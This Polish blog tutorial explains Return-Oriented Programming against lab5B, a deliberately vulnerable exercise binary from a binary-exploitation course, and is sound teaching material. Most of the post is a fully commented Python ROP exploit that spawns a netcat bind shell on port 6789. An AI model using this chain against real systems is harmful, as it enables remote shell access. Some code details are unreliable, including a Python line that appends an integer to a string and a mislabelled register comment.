Return Oriented Programming – Praktyczna exploitacja binarek

Zamiast łamać kolejne urządzenie i oferować “rybę”, czytelnik otrzyma “wędkę” aby móc samemu wykorzystywać podatności typu Buffer Overflow.

W tym poście przedstawię praktyczne wykorzystanie techniki “Return-oriented programming“, wraz z przykładowym kodem exploita.

O co chodzi?

Od dobrych paru lat systemy operacyjne wspierają zabezpieczenie zwane Data Execution Prevention (DEP). Podstawowym założeniem tego mechanizmu jest to, że żaden segment pamięci nie może być zapisywalny i wykonywalny w tym samym momencie (oznaczane inaczej jako W^X).

Dla atakującego oznacza to, że nie może umieścić swojego shellcode’u na stosie i przekazać do niego sterowania.

Aby rozwiązać ten problem powstała technika, która wykorzystywała rezydujące w pamięci funkcje bibliotek czyli ret2libc. ROP jest udoskonaleniem tej techniki, z tą różnicą, że nie odwołuje się do istniejących funkcji bibliotecznych, a fragmentów dowolnego kodu w programie, zakończonych instrukcją ret.

Jak sprawdzić czy dana binarka jest skompilowana ze wsparciem DEP?

W codziennej pracy wykorzystuję GDB + PEDA (polecam!). Ładuję daną binarkę do GDB i wydaję polecenie checksec.

DEP jest oznaczony jako NX, który jak widać dla testowanej binarki jest aktywny.

W jakim scenariuszu mogę wykorzystać ROP?

Spełnionych musi być kilka warunków:

  • Znaleziony błąd buffer overflow = możliwość nadpisania adresu powrotu w ramce stosu
  • Oczywiście włączony DEP, czyli niewykonywalny stos (W^X)
  • Brak dodatkowych mechanizmów zabezpieczania stosu, np. Stack Canaries (na powyższym screenie pozycja Canary)
  • Binarka skompilowana bez wsparcia dla PIE lub system 32-bitowy z ASLR (wtedy można przeprowadzić brute-force adresów w pamięci, nie radzę próbować na 64-bitach 😉 )

Budowa exploita – Wyszukanie podatności przepełnienia bufora

Wszystkie kroki będą wykonywane na systemie Ubuntu 15.10 x86.

Podatnym programem, na który będę pisał exploita jest ćwiczenie z kursu Modern Binary Exploitation, a konkretniej binarka o nazwie lab5b.

Polecam pobranie i kompilację z przełącznikami podanymi w komentarzu. Zadaniem exploita będzie uruchomienie zdalnego shella za pomocą netcata na porcie 6789.

Program jest bardzo prosty, a jego podatność przepełnienia bufora jest oczywista i zawiera się w linijce o numerze 12 – funkcja gets() załaduje tyle znaków do bufora ile zostanie podane na standardowym wejściu.

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector --static -o lab5B lab5B.c */

int main()
{

    char buffer[128] = {0};

    printf("Insert ROP chain here:\n");
    gets(buffer);

    return EXIT_SUCCESS;
}

Budowa exploita – Payload

Naszym zadaniem jest znalezienie fragmentów, które nam to umożliwią nam zbudowanie poniższego kawałka kodu.

  char *execve_env[1] = {NULL};

  char *execve_args[7]= { "/bin//nc",
                        "-lnp",
                        "6789",
                        "-tte",
                        "/bin//sh",
                        NULL
                      };

  execve("/usr/bin/nc", execve_args, execve_env);

Oprócz wiedzy, co chcemy napisać, musimy również wiedzieć jak napisać, aby zadziałało – czyli znać konwencję wywołania funkcji execve() na poziomie procesora.

Chodzi o odpowiednie umieszczenie argumentów w rejestrach CPU:

  • EAX = 11 – execve jest wywołanie systemowym o numerze 11
  • EBX = //usr/bin//nc – ścieżka programu do uruchomienia (wskaźnik char *)
  • ECX = execve_args (wskaźnik char **)
  • EDX = execve_env (wskaźnik char **)

Budowa exploita – Wyszukiwanie ROP gadgets

Autorzy kursu MBE zalecają statyczną kompilację binarki, przez co liczba “ROP gagdets” dostępnych w binarce jest ogromna i bardzo łatwo jest znaleźć to czego nam potrzeba.

ROP Gagdets dostępne w binarce najszybciej można znaleźć za pomocą narzędzia ROPgadget, grepując po wynikach (jeżeli wiemy czego szukamy 😉 )

Użycie narzędzia jest bardzo proste i sprowadza się do wydania polecenia ROPgagdet –binary [ścieżka do binarki].

Patrząc na kod payloadu możemy określić potrzebne fragmenty kodu (instrukcje):

  • int 0x80 – syscall potrzebny do uruchomienia funkcji execve()
  • inc eax – inkrementacja EAX do wartości odpowiadającej syscallowi execve() czyli 11
  • pop edx ; pop ecx ; pop ebx – ściąganie zawartości ze stosu do rejestrów
  • pop eax – j/w
  • pop ecx – j/w, nadmiarowy, dla przejrzystości kodu exploita
  • xor eax, eax – zerowanie rejestru EAX
  • mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] – wrzucanie zawartości EAX do adresu w ECX, przydatny w operacjach na pamięci (używana tylko pierwsza instrukcja)

Dodatkowo będziemy potrzebowali jeszcze trochę miejsca w pamięci (w segmencie .data) na stos naszego exploita.

Exploit

Gdy dane wejściowe są mniejsze niż bufor w programie lab5b, stos wygląda w nastepujący sposób:

Natomiast dla nas punktem wyjścia jest taki wygląd stosu:

Poniżej przedstawiam kod źródłowy gotowego exploita w Pythonie wraz z komentarzem każdej linijki kodu (w tym wypadku jest to najlepsze rozwiązanie – post i tak jest już wystarczająco długi 😉 )

from struct import pack

STACK      = pack("<I", 0x080EB298) # adres stosu dla exploita
INT80      = pack("<I", 0x08049401) # adres instrukcji int 0x80
PUSHSTACK  = pack("<I", 0x080bbe9e) # adres instrukcji mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
INCEAX     = pack("<I", 0x0807b6b6) # adres instrukcji inc eax ; ret
POPALL     = pack("<I", 0x0806ec80) # adres instrukcji pop edx ; pop ecx ; pop ebx ; ret
POPEAX     = pack("<I", 0x080bbf26) # adres instrukcji pop eax ; ret
POPECX	   = pack("<I", 0x080e55ad) # adres instrukcji pop ecx ; ret
XOREAX     = pack("<I", 0x080544e0) # adres instrukcji xor eax,%eax ; ret

buff = "\x41" * 136 # przepełnienie bufora na stosie
buff += 0x42424242 # nadpisanie zapisanego adresu EBP na stosie

# ECX jako rejestr ESP stosu exploita

buff += POPECX # instrukcja wrzucająca do ECX
buff += STACK # ECX = adres stosu dla exploita 

# Wrzucenie stringa "/bin" na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '/bin' # string do wrzucenia do EAX (UWAGA: jeżeli string jest dłuższy niż 4 znaki musimy go ręcznie łączyć - nie da się wrzucić więcej niz 4 bajty do komórki stosu na raz. Komórka stosu ma taki sam rozmiar jak długość słowa dla danej architektury, czyli dla x86 ma 4 bajty)
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 4) # adres na który ma wskazywać ECX zwiększony o 4 (bo string '/bin' ma 4 znaki + łączymy łańcuchy)

# Wrzucenie stringa "//nc" na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '//nc' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 9) # adres na który ma wskazywać ECX zwiększony o 5 ('//nc' + znak końca łańcucha - NULL)

# Wrzucenie stringa -lnp na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '-lnp' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 14) # adres na który ma wskazywać ECX zwiększony o 5 ('-lnp' + znak końca łańcucha - NULL)

# Wrzucenie stringa 6789 na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '6789' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 19) # adres na który ma wskazywać ECX zwiększony o 5 ('6789' + znak końca łańcucha - NULL)

# Wrzucenie stringa -tte na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '-tte' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 24) # adres na który ma wskazywać ECX zwiększony o 5 ('-tte' + znak końca łańcucha - NULL)

# Wrzucenie stringa /bin na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '/bin' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 28) # adres na który ma wskazywać ECX zwiększony o 4 ('/bin' - łączymy łańcuchy)

# Wrzucenie stringa //sh na stos exploita (z wykorzystaniem rejestru EAX)

buff += POPEAX # instrukcja wrzucająca do EAX
buff += '//sh' # string do wrzucenia do EAX
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli na szczyt stosu exploita)

# Ustawienie adresu stosu exploita, tak aby wskazywał za łańcuchem wrzuconym w poprzednim punkcie

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 33) # adres na który ma wskazywać ECX zwiększony o 5 ('//sh' + znak końca łańcucha - NULL)

# Konstrukcja tablicy argumentów

buff += POPECX
buff += pack("<I", 0x080EB298 + 80) # dowolny wyższy adres z segmentu .data na tablicę argumentów

# Wskaźnik do pierwszego argumentu - ścieżka do binarki

buff += POPEAX # instrukcja wrzucająca do EAX
buff += pack("<I", 0x080EB298) # adres stringa ze ścieżką (dla nieuważnych - adres stosu exploita)
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do pierwszego elementu tablicy argumentów)

# Inkrementacja wskaźnika na drugi element tablicy argumentów

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 84) # ECX = ECX + 4 # Wskaźnik do stringa '-lnp' -> tablica argumentów 

buff += POPEAX # instrukcja wrzucająca do EAX
buff += pack("<I", 0x080EB298 + 9) # adres stringa '-lnp'
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do drugiego elementu tablicy argumentów)

# Inkrementacja wskaźnika na trzeci element tablicy argumentów

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 88) # ECX = ECX + 4 # Wskaźnik do stringa '6789' -> tablica argumentów 

buff += POPEAX # instrukcja wrzucająca do EAX
buff += pack("<I", 0x080EB298 + 14) # adres stringa '6789'
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do trzeciego elementu tablicy argumentów)

# Inkrementacja wskaźnika na czwarty element tablicy argumentów

buff += POPECX #instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 92) # ECX = ECX + 4 # Wskaźnik do stringa '-tte' -> tablica argumentów

buff += POPEAX # instrukcja wrzucająca do EAX
buff += pack("<I", 0x080EB298 + 19) # adres stringa '-tte'
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do czwartego elementu tablicy argumentów)

# Inkrementacja wskaźnika na piąty element tablicy argumentów

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 96) # ECX = ECX + 4 # Wskaźnik do stringa '/bin//sh'-> tablica argumentów

buff += POPEAX # instrukcja wrzucająca do EAX
buff += pack("<I", 0x080EB298 + 24) # adres stringa '/bin//sh'
buff += PUSHSTACK # wrzucenie zawartości rejestru EAX pod adres w ECX (czyli do piątego elementu tablicy argumentów)

# Inkrementacja wskaźnika na szósty element tablicy argumentów

buff += POPECX # instrukcja wrzucająca do ECX
buff += pack("<I", 0x080EB298 + 100) # ECX = ECX + 4

# Inkrementacja EAX do numeru przerwania, przygotowanie rejestrów do wywołania execve()

buff += XOREAX # zerowanie rejestru EAX
buff += INCEAX * 11 # 11x powtórzona instrukcja inkrementacji rejestru EAX

# Przygotowanie rejestrów do wywołania execve()

buff += POPALL # wrzucenie danych do rejestrów EBX, ECX, EDX za "jednym zamachem"
buff += pack("<I", 0x080EB298 + 128) # dowolny adres z segmentu .data - tablica env[] = NULL - rejestr EDX
buff += pack("<I", 0x080EB298 + 80) # wskaźnik na tablicę z argumentami funkcji execve() - rejestr ECX
buff += pack("<I", 0x080EB298) # wskaźnik na stringa "/bin//sh" - ścieżka do programu - rejestr EBX
buff += INT80 # syscall wywołujący execve()

print buff

Zakończenie

Return-oriented programming jest techniką tak samo skuteczną, jak upierdliwą.

Przy dobrym wyborze ROP gadgets (wszystkie z segmentu .text) są niezależne od DEP oraz ASLR, co powoduje, że napisane exploity są bardzo stabilne i nie boją się różnego rozkładu segmentów w pamięci 🙂